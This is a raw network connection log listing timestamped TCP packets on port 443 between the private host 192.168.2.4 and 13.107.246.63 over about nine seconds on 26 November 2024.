Nov 26, 2024 08:56:48.110759020 CET	50057	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:48.110941887 CET	50057	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:48.110956907 CET	443	50057	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.158992052 CET	443	50053	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.159693003 CET	50053	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:49.159715891 CET	443	50053	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.160126925 CET	50053	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:49.160135984 CET	443	50053	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.267141104 CET	443	50054	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.267720938 CET	50054	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:49.267744064 CET	443	50054	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.268948078 CET	50054	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:49.268954039 CET	443	50054	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.614224911 CET	443	50053	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.617384911 CET	443	50053	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.617511988 CET	50053	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:49.617615938 CET	50053	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:49.617638111 CET	443	50053	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.617652893 CET	50053	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:49.617660999 CET	443	50053	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.621129036 CET	50058	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:49.621179104 CET	443	50058	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.621407986 CET	50058	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:49.621547937 CET	50058	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:49.621565104 CET	443	50058	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.629360914 CET	443	50055	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.629951000 CET	50055	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:49.629991055 CET	443	50055	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.630422115 CET	50055	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:49.630434036 CET	443	50055	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.712354898 CET	443	50054	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.715302944 CET	443	50054	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.715367079 CET	50054	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:49.715509892 CET	50054	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:49.715528965 CET	443	50054	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.715542078 CET	50054	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:49.715548992 CET	443	50054	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.717653990 CET	50059	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:49.717684984 CET	443	50059	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.717761040 CET	50059	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:49.717886925 CET	50059	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:49.717900991 CET	443	50059	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.948659897 CET	443	50056	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.952661037 CET	50056	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:49.952685118 CET	443	50056	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.953219891 CET	50056	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:49.953224897 CET	443	50056	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.956176996 CET	443	50057	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.956691980 CET	50057	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:49.956706047 CET	443	50057	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:49.957178116 CET	50057	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:49.957184076 CET	443	50057	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:50.175214052 CET	443	50055	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:50.175280094 CET	443	50055	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:50.175359011 CET	50055	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:50.175731897 CET	50055	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:50.175751925 CET	443	50055	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:50.175827026 CET	50055	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:50.175836086 CET	443	50055	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:50.189199924 CET	50060	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:50.189316034 CET	443	50060	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:50.189388990 CET	50060	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:50.192857981 CET	50060	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:50.192893028 CET	443	50060	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:50.403274059 CET	443	50056	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:50.406243086 CET	443	50056	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:50.406316996 CET	50056	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:50.406475067 CET	50056	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:50.406497002 CET	443	50056	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:50.406510115 CET	50056	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:50.406517982 CET	443	50056	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:50.410700083 CET	50061	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:50.410737038 CET	443	50061	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:50.410969019 CET	50061	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:50.411362886 CET	50061	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:50.411377907 CET	443	50061	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:50.413290977 CET	443	50057	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:50.415076017 CET	443	50057	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:50.415123940 CET	443	50057	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:50.415139914 CET	50057	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:50.415167093 CET	50057	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:50.415397882 CET	50057	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:50.415421963 CET	443	50057	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:50.415436983 CET	50057	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:50.415443897 CET	443	50057	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:50.417443991 CET	50062	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:50.417475939 CET	443	50062	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:50.417550087 CET	50062	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:50.417655945 CET	50062	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:50.417665958 CET	443	50062	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:51.593955994 CET	443	50058	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:51.594424009 CET	50058	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:51.594436884 CET	443	50058	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:51.594961882 CET	50058	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:51.594966888 CET	443	50058	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:51.617908955 CET	443	50059	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:51.618386030 CET	50059	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:51.618402958 CET	443	50059	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:51.619095087 CET	50059	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:51.619102001 CET	443	50059	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.038014889 CET	443	50058	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.038311005 CET	443	50058	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.038371086 CET	50058	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.038434982 CET	443	50060	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.039089918 CET	50058	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.039109945 CET	443	50058	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.039119959 CET	50058	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.039124966 CET	443	50058	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.039635897 CET	50060	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.039700031 CET	443	50060	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.040275097 CET	50060	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.040290117 CET	443	50060	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.043195963 CET	50063	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.043241024 CET	443	50063	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.043322086 CET	50063	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.043664932 CET	50063	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.043680906 CET	443	50063	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.072566032 CET	443	50059	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.075637102 CET	443	50059	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.075691938 CET	443	50059	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.075742006 CET	50059	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.075942993 CET	50059	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.075962067 CET	443	50059	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.075973034 CET	50059	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.075978994 CET	443	50059	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.078218937 CET	50064	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.078241110 CET	443	50064	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.078373909 CET	50064	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.078562021 CET	50064	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.078574896 CET	443	50064	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.138264894 CET	443	50061	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.138716936 CET	50061	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.138740063 CET	443	50061	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.139163971 CET	50061	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.139168978 CET	443	50061	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.142838001 CET	443	50062	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.143148899 CET	50062	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.143177986 CET	443	50062	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.143526077 CET	50062	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.143538952 CET	443	50062	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.492070913 CET	443	50060	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.495286942 CET	443	50060	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.496678114 CET	50060	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.500274897 CET	50060	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.500324011 CET	443	50060	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.500353098 CET	50060	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.500369072 CET	443	50060	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.508093119 CET	50065	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.508126020 CET	443	50065	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.508236885 CET	50065	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.508749962 CET	50065	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.508758068 CET	443	50065	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.572971106 CET	443	50061	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.576169014 CET	443	50061	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.576225996 CET	443	50061	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.576247931 CET	50061	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.576317072 CET	50061	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.576601982 CET	443	50062	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.576672077 CET	443	50062	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.576762915 CET	50062	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.577225924 CET	50061	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.577243090 CET	443	50061	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.577265024 CET	50061	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.577270985 CET	443	50061	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.578326941 CET	50062	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.578346014 CET	443	50062	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.581856012 CET	50066	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.581897020 CET	443	50066	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.582031965 CET	50066	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.582293987 CET	50066	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.582309961 CET	443	50066	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.583002090 CET	50067	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.583029985 CET	443	50067	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:52.583117008 CET	50067	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.583226919 CET	50067	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:52.583239079 CET	443	50067	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:53.824577093 CET	443	50063	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:53.825803995 CET	50063	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:53.825814962 CET	443	50063	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:53.827277899 CET	50063	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:53.827281952 CET	443	50063	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:53.863898993 CET	443	50064	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:53.864424944 CET	50064	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:53.864451885 CET	443	50064	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:53.865490913 CET	50064	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:53.865495920 CET	443	50064	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.270438910 CET	443	50063	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.273669004 CET	443	50063	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.277792931 CET	50063	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.277875900 CET	50063	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.277877092 CET	50063	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.277895927 CET	443	50063	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.277899981 CET	443	50063	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.280595064 CET	50068	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.280631065 CET	443	50068	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.280766010 CET	50068	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.280992985 CET	50068	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.281013966 CET	443	50068	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.288801908 CET	443	50065	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.289186001 CET	50065	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.289205074 CET	443	50065	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.289741993 CET	50065	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.289767981 CET	443	50065	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.307890892 CET	443	50064	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.312048912 CET	443	50064	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.312172890 CET	50064	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.312172890 CET	50064	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.312299013 CET	50064	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.312319040 CET	443	50064	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.315144062 CET	50069	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.315202951 CET	443	50069	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.315318108 CET	50069	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.315479994 CET	50069	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.315490961 CET	443	50069	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.362811089 CET	443	50066	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.363935947 CET	50066	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.363950968 CET	443	50066	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.364973068 CET	50066	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.364979029 CET	443	50066	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.428838968 CET	443	50067	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.432656050 CET	50067	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.432672024 CET	443	50067	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.435389042 CET	50067	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.435394049 CET	443	50067	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.733819008 CET	443	50065	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.737066031 CET	443	50065	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.737113953 CET	443	50065	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.737138987 CET	50065	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.737209082 CET	50065	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.737209082 CET	50065	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.737273932 CET	50065	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.737284899 CET	443	50065	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.741094112 CET	50070	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.741137028 CET	443	50070	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.745321035 CET	50070	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.749295950 CET	50070	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.749314070 CET	443	50070	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.807601929 CET	443	50066	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.807784081 CET	443	50066	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.809144020 CET	50066	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.809303045 CET	50066	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.809320927 CET	443	50066	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.809350967 CET	50066	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.809356928 CET	443	50066	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.811891079 CET	50071	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.811969042 CET	443	50071	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.813301086 CET	50071	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.813590050 CET	50071	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.813604116 CET	443	50071	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.882630110 CET	443	50067	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.885821104 CET	443	50067	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.886102915 CET	50067	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.886199951 CET	50067	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.886199951 CET	50067	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.886214972 CET	443	50067	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.886223078 CET	443	50067	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.888684988 CET	50072	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.888726950 CET	443	50072	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:54.888853073 CET	50072	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.888963938 CET	50072	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:54.888976097 CET	443	50072	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.032140017 CET	443	50069	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.032845974 CET	50069	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.032872915 CET	443	50069	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.034507036 CET	50069	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.034512997 CET	443	50069	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.064433098 CET	443	50068	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.065577984 CET	50068	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.065591097 CET	443	50068	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.066091061 CET	50068	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.066096067 CET	443	50068	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.467181921 CET	443	50069	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.467263937 CET	443	50069	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.467343092 CET	50069	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.467592955 CET	50069	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.467616081 CET	443	50069	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.467628956 CET	50069	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.467637062 CET	443	50069	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.470240116 CET	50073	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.470292091 CET	443	50073	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.470438004 CET	50073	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.470593929 CET	50073	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.470611095 CET	443	50073	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.514811039 CET	443	50068	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.514837027 CET	443	50068	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.514921904 CET	50068	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.514935970 CET	443	50068	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.515258074 CET	50068	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.515258074 CET	50068	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.515266895 CET	443	50068	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.515285015 CET	443	50068	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.517518997 CET	50074	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.517559052 CET	443	50074	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.517636061 CET	50074	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.518548012 CET	50074	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.518562078 CET	443	50074	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.532875061 CET	443	50070	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.533376932 CET	50070	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.533390045 CET	443	50070	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.534069061 CET	50070	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.534074068 CET	443	50070	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.602000952 CET	443	50071	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.602420092 CET	50071	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.602437019 CET	443	50071	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.602796078 CET	50071	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.602802992 CET	443	50071	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.669953108 CET	443	50072	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.670734882 CET	50072	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.670747995 CET	443	50072	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.672537088 CET	50072	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.672542095 CET	443	50072	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.982167959 CET	443	50070	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.982191086 CET	443	50070	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.982264996 CET	50070	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.982279062 CET	443	50070	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.982661963 CET	50070	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.982676983 CET	443	50070	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.982683897 CET	50070	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.982841015 CET	443	50070	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.982867956 CET	443	50070	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.982908964 CET	50070	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.986603975 CET	50075	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.986656904 CET	443	50075	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:56.986788988 CET	50075	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.987004995 CET	50075	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:56.987020969 CET	443	50075	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:57.047454119 CET	443	50071	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:57.047512054 CET	443	50071	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:57.047668934 CET	50071	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:57.047723055 CET	443	50071	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:57.048069954 CET	50071	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:57.048085928 CET	443	50071	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:57.048198938 CET	50071	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:57.048464060 CET	443	50071	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:57.048549891 CET	443	50071	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:57.048741102 CET	50071	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:57.054373980 CET	50076	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:57.054409981 CET	443	50076	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:57.054536104 CET	50076	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:57.055080891 CET	50076	443	192.168.2.4	13.107.246.63
